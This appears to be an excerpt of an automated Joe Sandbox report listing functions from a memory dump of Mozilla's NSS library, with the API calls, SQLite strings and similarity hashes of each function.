Part of subcall function 6CE688D0: EnterCriticalSection.KERNEL32(?), ref: 6CE6891A
Part of subcall function 6CE688D0: PL_ArenaAllocate.NSS3(?,?), ref: 6CE6894A
Part of subcall function 6CE688D0: calloc.MOZGLUE(00000001,6CE7072D,00000000,00000000,00000000,?,6CE70725,00000000,00000058), ref: 6CE68959
Part of subcall function 6CE688D0: memset.VCRUNTIME140(?,00000000,?), ref: 6CE68993
Part of subcall function 6CE688D0: PR_Unlock.NSS3(?), ref: 6CE689AF

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 9f8a2ad6b55ffe2903e8878212106cf8715bb6e9ecefea3edd21587b3d5c57df
Instruction ID: 337fa5afe32c18abc0f098b4e38b069c9c53a1e6e92ff7db036bc21dc1a355b8
Opcode Fuzzy Hash: 9f8a2ad6b55ffe2903e8878212106cf8715bb6e9ecefea3edd21587b3d5c57df
Instruction Fuzzy Hash: B2515EB0A647059FDB00EF6AC08466EBBF0BF45359F258529D898DBF11EB30E844CB91

Function 6CF69EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CF69EC0
EnterCriticalSection.KERNEL32(?), ref: 6CF69EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6CF69F73
EnterCriticalSection.KERNEL32(?), ref: 6CF69FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6CF69FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6CF69FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6CF6A01D

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: f6fe2fce4a63b45fbfcb6e62609b83c77e30eab132b57708d91adbe594be27d7
Instruction ID: f9dd7ccd492b0e0fa61c265153b6636e52ba65a96b4d01f8a5981aaf10af36b6
Opcode Fuzzy Hash: f6fe2fce4a63b45fbfcb6e62609b83c77e30eab132b57708d91adbe594be27d7
Instruction Fuzzy Hash: 4951B0B2804600DFCB10DF26D48068AB7F0FF55329F25856AD8595BF16EB31E985CBD1

Function 6CE5DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CE5DCFA

Part of subcall function 6CF19DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF60A27), ref: 6CF19DC6
Part of subcall function 6CF19DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF60A27), ref: 6CF19DD1
Part of subcall function 6CF19DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF19DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE5DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CE5DD62
CERT_DestroyCertificate.NSS3(?), ref: 6CE5DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE5DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6CE5DD8F

Part of subcall function 6CE706A0: TlsGetValue.KERNEL32 ref: 6CE706C2
Part of subcall function 6CE706A0: EnterCriticalSection.KERNEL32(?), ref: 6CE706D6
Part of subcall function 6CE706A0: PR_Unlock.NSS3 ref: 6CE706EB

CERT_DestroyCertificate.NSS3(?), ref: 6CE5DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6CE5DDB7

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 1bd036ef35ffa29cdb3e939141ebdf4a4735f5f14a1cdeb37dfb4b725df6baf4
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: 2821BFBAE011159BDF019FA4DD409DEB7B4AF05218F640124ED14A7711F733EA25CBE1

Function 6CEE5F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CEEAADB,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5F72

Part of subcall function 6CE4ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CE4ED8F
Part of subcall function 6CE4ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CE4ED9E
Part of subcall function 6CE4ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CE4EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CEEAADB,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CEEAADB,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5FCC
free.MOZGLUE(?,?,6CEEAADB,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CEEAADB,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5FF4
free.MOZGLUE(?,?,6CEEAADB,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CEEAADB,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE6019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CEEAADB,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE6036

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 13af9efd3afed51063bf22afa592fe5329df15570c773489616512f4b90b7aff
Instruction ID: 529bce7a06f251368072e2fa94aab91daf35f4730bda2567e0ffdaa950502a3e
Opcode Fuzzy Hash: 13af9efd3afed51063bf22afa592fe5329df15570c773489616512f4b90b7aff
Instruction Fuzzy Hash: C8210EF1A05B049BEA20DFB5A8097D7B7B8AB4574CF24092CE45AC7740D736E014CB91

Function 6CE53C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6CEC460B,?,?), ref: 6CE53CA9
EnterCriticalSection.KERNEL32(?), ref: 6CE53CB9
PL_HashTableLookup.NSS3(?), ref: 6CE53CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6CE53CD6
PR_Unlock.NSS3 ref: 6CE53CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6CE53CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE53D03
PR_Unlock.NSS3 ref: 6CE53D15

Part of subcall function 6CEFDD70: TlsGetValue.KERNEL32 ref: 6CEFDD8C
Part of subcall function 6CEFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDDB4

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 064b630c60351b128845b396fa6dfb83eccb1e292334eb47ce3679e65198d9c0
Instruction ID: 30fc7ca6a30cc6fc426a9d6f4b36f7c885fa378c15d982a782665c1ffa0537a7
Opcode Fuzzy Hash: 064b630c60351b128845b396fa6dfb83eccb1e292334eb47ce3679e65198d9c0
Instruction Fuzzy Hash: 58114C7AE14505ABDB012B34EC45AAA7A78EB0229CB754134EC1893712F723DA79C7E1

Function 6CE59C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE711C0: PR_NewLock.NSS3 ref: 6CE71216

free.MOZGLUE(?), ref: 6CE59E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE59E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE59E4E
TlsGetValue.KERNEL32 ref: 6CE59EA2

Part of subcall function 6CE69500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6CE69546

EnterCriticalSection.KERNEL32(?), ref: 6CE59EB6
PR_Unlock.NSS3 ref: 6CE59ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CE59F18

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: f75ed0323c21a05d84b24122d8285899e9b2bdf9264a2df3ea8fcc41d9af8dcb
Instruction ID: aad12b15ca22efa1d8e364ea7ba76c9b5af83d17c0e4b9e36289f9608feb22df
Opcode Fuzzy Hash: f75ed0323c21a05d84b24122d8285899e9b2bdf9264a2df3ea8fcc41d9af8dcb
Instruction Fuzzy Hash: 4281D3B1A00601ABEB109F35DC41BEBB7B5BF4524CF64452DE85987B41FB32E826C7A1

Function 6CE6DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE6AB10: DeleteCriticalSection.KERNEL32(D958E852,6CE71397,5B5F5EC0,?,?,6CE6B1EE,2404110F,?,?), ref: 6CE6AB3C
Part of subcall function 6CE6AB10: free.MOZGLUE(D958E836,?,6CE6B1EE,2404110F,?,?), ref: 6CE6AB49
Part of subcall function 6CE6AB10: DeleteCriticalSection.KERNEL32(5D5E6D06), ref: 6CE6AB5C
Part of subcall function 6CE6AB10: free.MOZGLUE(5D5E6CFA), ref: 6CE6AB63
Part of subcall function 6CE6AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CE6AB6F
Part of subcall function 6CE6AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CE6AB76

TlsGetValue.KERNEL32 ref: 6CE6DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6CE6DD0E
PK11_IsFriendly.NSS3(?), ref: 6CE6DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6CE6DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE6DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE6DEA6
PR_Unlock.NSS3(?), ref: 6CE6DF08

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: 9e28a61c7a1b494b4998551c1cb2d41e04b3f1ee92d47c9b21031c3e0d1af64d
Instruction ID: a8a2b0ed0ba745f01a5b96acbda3eea9c2e4c3a45dfda5a6b95d14229d353e63
Opcode Fuzzy Hash: 9e28a61c7a1b494b4998551c1cb2d41e04b3f1ee92d47c9b21031c3e0d1af64d
Instruction Fuzzy Hash: AC9103B9E501059FDB00CF6AD881BAAB7B1AF4530CF758129DC189BF41E731EA15CBA1

Function 6CE25FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6CF0BB62,00000004,6CF74CA4,?,?,00000000,?,?,6CDE31DB), ref: 6CE260AB
sqlite3_config.NSS3(00000004,6CF74CA4,6CF0BB62,00000004,6CF74CA4,?,?,00000000,?,?,6CDE31DB), ref: 6CE260EB
sqlite3_config.NSS3(00000012,6CF74CC4,?,?,6CF0BB62,00000004,6CF74CA4,?,?,00000000,?,?,6CDE31DB), ref: 6CE26122

Strings

%s at line %d of [%.10s], xrefs: 6CE260A4
misuse, xrefs: 6CE2609F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE26095

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: 1b7fbd0126e8ecdd5d8a07d85531575d543d2ca6d97acdc029ce8b71bb731ff7
Instruction ID: 17f4e3dc6255063f05a9ea6beb058e2d7532376160cb79f244d0b7da23f9e3ee
Opcode Fuzzy Hash: 1b7fbd0126e8ecdd5d8a07d85531575d543d2ca6d97acdc029ce8b71bb731ff7
Instruction Fuzzy Hash: C2B18274E1464ACFDB05CF9DD250AA9FBF0FF1E304B118259D509AB322E730AA94CB95

Function 6CDD4F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDD4FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDD51BB

Strings

unable to delete/modify user-function due to active statements, xrefs: 6CDD51DF
%s at line %d of [%.10s], xrefs: 6CDD51B4
misuse, xrefs: 6CDD51AF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDD51A5

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 051f4b23e41436758201dfa956dccbfe5f4113e26b1ac78aefccee2f7a77c566
Instruction ID: 9d7b08f244f355ff6e7dfb6aaafa2f5db11f1bc9e811ba6fa72bcdff4c9ba0c8
Opcode Fuzzy Hash: 051f4b23e41436758201dfa956dccbfe5f4113e26b1ac78aefccee2f7a77c566
Instruction Fuzzy Hash: 9371AFB1A0420ADBDB00CF25CC80BAA77B5FF49308F1A4525ED199BA61E731E955CBA1

Function 6CE42D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CE42D69

Strings

winTruncate2, xrefs: 6CE42EF8
winSeekFile, xrefs: 6CE42E9C
winUnmapfile1, xrefs: 6CE42F55
winUnmapfile2, xrefs: 6CE42F7F
winTruncate1, xrefs: 6CE42EBE

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 91565f69b397882a1eb095099d2d5eb9c61f811b1b0908be7479db126ed22694
Instruction ID: a05318416a7f8ca9858ad4ecd625ce7cfcba5e1b9dda3256595c707570714b3d
Opcode Fuzzy Hash: 91565f69b397882a1eb095099d2d5eb9c61f811b1b0908be7479db126ed22694
Instruction Fuzzy Hash: 8B619071A002059FDB44CFA8EC94B6A7BB1FF49354F20852CE915EB790DB31AD06CB91

Function 6CEBFF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6CEBF165,?), ref: 6CEBFF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6CEBF165,?), ref: 6CEBFF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CEBF165,?), ref: 6CEBFF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CEBF165,?), ref: 6CEBFF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6CEBF165,?), ref: 6CEBFFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6CEBF165,6CF8219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEBFFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6CEBF165,?), ref: 6CEC00A6

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: 2a8c9feb73ec43dc40fd6a997ae80efb380906f527c8754bba936db7cf83bd46
Instruction ID: 560f6b8d7abd1b5587c4f119d9ca48e80ada0845acb658048b7493d7f665a8be
Opcode Fuzzy Hash: 2a8c9feb73ec43dc40fd6a997ae80efb380906f527c8754bba936db7cf83bd46
Instruction Fuzzy Hash: 2C5103B5F042559BDB108E99C9917AEB7B5BB49318F360628DC65A7B40D332AC00CBD2

Function 6CE7DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE7DF37
EnterCriticalSection.KERNEL32(?), ref: 6CE7DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE7DF96
PR_SetError.NSS3(00000000,00000000), ref: 6CE7E02B
PR_Unlock.NSS3(?), ref: 6CE7E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CE7E090
PR_Unlock.NSS3(?), ref: 6CE7E0AF

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 2fd7daf6a4b6913b188f88d8559c3f6b5782d0b95865a5187c56370535a9b387
Instruction ID: 38aeb86ca57ae36e2fa05fa676489ccebf4617f267ada5c31b2a3df8d5ca72b2
Opcode Fuzzy Hash: 2fd7daf6a4b6913b188f88d8559c3f6b5782d0b95865a5187c56370535a9b387
Instruction Fuzzy Hash: D451AF35A00A00DFEB309F24D849BAA73B5FF45318F304529E86687B91D735E959CBE2

Function 6CE7BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CE7BD1E

Part of subcall function 6CE52F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE52F0A
Part of subcall function 6CE52F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE52F1D

Part of subcall function 6CE957D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CE5B41E,00000000,00000000,?,00000000,?,6CE5B41E,00000000,00000000,00000001,?), ref: 6CE957E0
Part of subcall function 6CE957D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CE95843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE7BD8C

Part of subcall function 6CEAFAB0: free.MOZGLUE(?,-00000001,?,?,6CE4F673,00000000,00000000), ref: 6CEAFAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6CE7BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CE7BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE7BE3A

Part of subcall function 6CE53E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE53EC2
Part of subcall function 6CE53E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE53ED6
Part of subcall function 6CE53E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE53EEE
Part of subcall function 6CE53E60: PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE53F02
Part of subcall function 6CE53E60: PL_FreeArenaPool.NSS3 ref: 6CE53F14
